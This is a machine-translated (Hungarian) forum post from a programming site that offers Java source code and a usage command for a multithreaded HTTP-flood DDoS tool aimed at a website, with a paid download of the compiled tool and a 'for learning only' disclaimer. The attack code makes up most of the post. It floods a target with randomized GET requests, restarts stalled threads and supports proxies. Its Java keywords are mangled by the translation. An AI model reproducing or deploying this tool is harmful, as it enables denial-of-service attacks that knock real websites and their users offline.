Ez a cikk egy tükör gépi fordítás, kérjük, kattintson ide, hogy ugorjon az eredeti cikkre.

Nézet: 15524|Válasz: 0

[Tippek] A D-DOS támadó program Java verziója

[Linket másol]
Közzétéve 2014. 12. 01. 15:21:57 | | |
JAR kód
dDOS támadás Java által valósított meg.
Azonban nem sokban különbözik a hagyományos dDos-tól.
Ez a szoftver egy DDOS támadás egy oldalra.
Hogyan kell használni:
java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80

[mw_shl_code=java,true]importál java.io.IOException;
import java.net.ConnectException;
importál java.net.InetSocketAddress;
importál java.nio.ByteBuffer;
importál java.nio.channels.SelectionKey;
importál java.nio.channels.Selector;
importolni java.nio.channels.SocketChannel;
importál java.util.Iterator;
importál java.util.random;
importál java.util.set;
importál java.util.timer;
importál java.util.TimerTask;
importál java.util.vector;

/**
* Démonszálak
*
* @author adminisztráció
*
*/
Közosztályos teszt {
    privát String gazda, uri, param;
    magán int port;
    privát vég v<CCDDOSThread> = új Vector<CCDDOSThread>();
    privát InetSocketAddress isa;
    privát int threadsCount = 500; Szálak száma
    privát Random r = új Random();
    privát hosszú időkikapcsolás = 5000l;

    /**
     * Nyissátok a támadást
     */
    public void start() {
        for (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = új CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Időzítő t = új időzítő();
        t.schedule(new TimerTask() {
            public void run() {
                int count = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = null;
                        count++;
                    } más ha (ct - th.start > időkorlát) {
                        Időkorlát, külső vég
                        timeoutthreads++;
                        th.setCancle (igaz);
                        th.interrupt();
                        it.remove();
                        th = null;
                        count++;
                    }
                }
                if (count == 0) {
                    visszatérés;
                }
                System.out.println("A szál lezárva:"+count+", ahol az időlevonási szál csatlakozik:"
                        + időkorlátok);
                for (int i = 0; Én < számolok; i++) {
                    CCDDOSThread th = új CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println ("Daemon thread indult:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        if (args.length < 6) {
            System.out.println ("Utasítások:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } különben (args.length >= 8) {
            Kapcsolat egy ügynökkel
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        teszt m = új teszt();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = új InetSocketAddress (m.host, m.port);
        m.start();
    }

    /**
     * Támadási szálak
     *
     * @author zhanghongbo
     *
     */
    class CCDDOSThread extend Thread {
        Private Boolean Cancle = hamis;
        public long start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            vissza kancle;
        }

        public void run() {
            hosszú kezdet = System.currentTimeMillis();
            Selector selector;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = igaz;
                    selector.close();
                    visszatérés;
                }

                sc.configureBlocking(hamis);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                vára: while (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - start > időtúlzás) {
                        cancle = igaz;
                        szünet, várakozás;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    while (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > időtúlzás) {
                            cancle = igaz;
                            szünet, várakozás;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            String head = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Kapcsolat: közel\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } fogás (IOException ex) {
                cancle = igaz;
            }
        }
    }
}
[/mw_shl_code]

Kész termék és forráskód letöltése: java ddos.zip (8.42 KB, Letöltések száma: 0, Eladási ár: 2 Grain MB)





Előző:Beszéljünk a történelem legnagyobb 400 G-es titokzatos DDoS támadásáról
Következő:Küldj iPhone 6-ot, hogy beszélj az erektét repedésmentes verziójáról
Lemondás:
A Code Farmer Network által közzétett összes szoftver, programozási anyag vagy cikk kizárólag tanulási és kutatási célokra szolgál; A fenti tartalmat nem szabad kereskedelmi vagy illegális célokra használni, különben a felhasználók viselik az összes következményet. Az oldalon található információk az internetről származnak, és a szerzői jogi vitáknak semmi köze ehhez az oldalhoz. A fenti tartalmat a letöltés után 24 órán belül teljesen törölni kell a számítógépéről. Ha tetszik a program, kérjük, támogassa a valódi szoftvert, vásároljon regisztrációt, és szerezzen jobb hiteles szolgáltatásokat. Ha bármilyen jogsértés történik, kérjük, vegye fel velünk a kapcsolatot e-mailben.

Mail To:help@itsvse.com